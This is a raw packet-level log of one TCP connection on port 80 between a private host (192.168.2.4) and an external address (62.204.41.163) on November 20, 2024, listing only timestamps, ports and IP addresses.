Nov 20, 2024 07:48:20.179280043 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.179311037 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.179328918 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.179362059 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.179394007 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.179406881 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.179428101 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.179431915 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.179461002 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.179466963 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.179495096 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.179497957 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.179527998 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.179533005 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.179562092 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.179567099 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.179596901 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.179600954 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.179635048 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.218192101 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.218242884 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.218245983 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.218276024 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.218286037 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.218310118 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.218316078 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.218346119 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.218379974 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.218389034 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.218415022 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.218430042 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.218449116 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.218453884 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.218494892 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.218507051 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.218558073 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.218588114 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.218595982 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.218612909 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.218621969 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.218625069 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.218656063 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.218667030 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.218688965 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.218698025 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.218727112 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.218739986 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.218780994 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.218791962 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.218826056 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.218835115 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.218859911 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.218863964 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.218904972 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.218911886 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.218962908 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.218983889 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.219008923 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.219016075 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.219048977 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.219059944 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.219083071 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.219093084 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.219125986 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.219140053 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.219189882 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.219223976 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.219230890 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.219261885 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.219283104 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.219324112 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.219333887 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.219372988 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.219387054 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.219419956 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.219454050 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.219470024 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.219486952 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.219499111 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.219518900 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.219532013 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.219547987 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.219561100 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.219582081 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.219587088 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.219619036 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.219626904 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.219655037 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.219666004 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.219700098 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.219718933 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.219753027 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.219768047 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.219814062 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.219820023 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.219849110 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.219861031 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.219888926 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.219898939 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.219933033 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.219937086 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.219973087 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.219984055 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.220017910 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.220041990 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.220051050 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.220057011 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.220083952 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.220091105 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.220115900 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.220148087 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.220150948 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.220176935 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.220190048 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.220210075 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.220215082 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.220243931 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.220248938 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.220276117 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.220282078 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.220310926 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.220314980 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.220343113 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.220347881 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.220376968 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.220382929 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.220410109 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.220422029 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.220444918 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.220452070 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.220475912 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.220479965 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.220510960 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.220514059 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.220544100 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.220550060 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.220576048 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.220578909 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.220630884 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.262020111 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.266973019 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.484517097 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.484587908 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.484607935 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.484641075 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.484651089 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.484674931 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.484682083 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.484713078 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.484731913 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.484766006 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.484774113 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.484800100 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.484807968 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.484843969 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.484853029 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.484886885 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.484894991 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.484929085 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.484961987 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.484972954 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.485002995 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.485014915 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.485049009 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.485058069 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.485083103 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.485095024 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.485116959 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.485151052 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.485158920 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.485184908 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.485188961 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.485224009 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.485281944 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.485315084 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.485352039 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.485352993 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.485380888 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.485420942 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.485430956 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.485471010 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.485471964 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.485517025 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.485522032 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.485575914 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.485579967 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.485618114 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.485629082 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.485662937 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.485666037 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.485697031 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.485712051 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.485729933 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.485737085 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.485761881 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.485780001 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.485795021 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.485810995 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.485824108 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.485836029 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.485856056 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.485862970 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.485891104 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.485896111 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.485918999 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.485929966 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.485956907 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.485974073 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.486013889 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.486023903 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.486054897 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.486066103 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.486088037 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.486094952 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.486128092 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.486139059 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.486175060 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.486207962 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.486221075 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.486243010 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.486248016 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.486274958 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.486288071 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.486308098 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.486310959 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.486352921 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.486358881 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.486401081 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.486409903 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.486443996 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.486475945 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.486493111 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.486510038 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.486520052 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.486565113 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.486610889 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.486618042 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.486650944 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.486656904 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.486680031 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.486690044 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.486723900 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.486732006 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.486776114 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.486785889 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.486835003 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.486849070 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.486870050 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.486877918 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.486911058 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.486912966 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.486946106 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.486953020 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.486974001 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.486988068 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.487006903 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.487015009 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.487040043 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.487050056 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.487072945 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.487080097 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.487107038 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.487112999 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.487138987 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.487149000 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.487171888 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.487188101 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.487204075 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.487220049 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.487237930 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.487270117 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.487271070 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.487289906 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.487303972 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.487324953 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.487375021 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.487379074 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.487412930 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.487423897 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.487447977 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.487457037 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.487482071 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.487492085 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.487523079 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.487534046 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.487581015 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.487586975 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.487621069 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.487653971 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.487660885 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.487685919 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.487694025 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.487720013 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.487725019 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.487752914 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.487760067 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.487787008 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.487795115 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.487818956 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.487824917 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.487854004 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.487858057 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.487886906 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.487920046 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.487929106 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.487952948 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.487953901 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.487986088 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.487994909 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.488018990 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.488024950 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.488053083 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.488060951 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.488087893 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.488092899 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.488121986 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.488132000 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.488162041 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.488172054 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.488194942 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.488204956 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.488229036 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.488238096 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.488261938 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.488271952 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.488296032 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.488306999 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.488331079 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.488363981 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.488372087 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.488398075 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.488404989 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.488429070 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.488439083 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.488462925 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.488465071 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.488495111 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.488521099 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.488529921 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.488534927 CET	49753	80	192.168.2.4	62.204.41.163
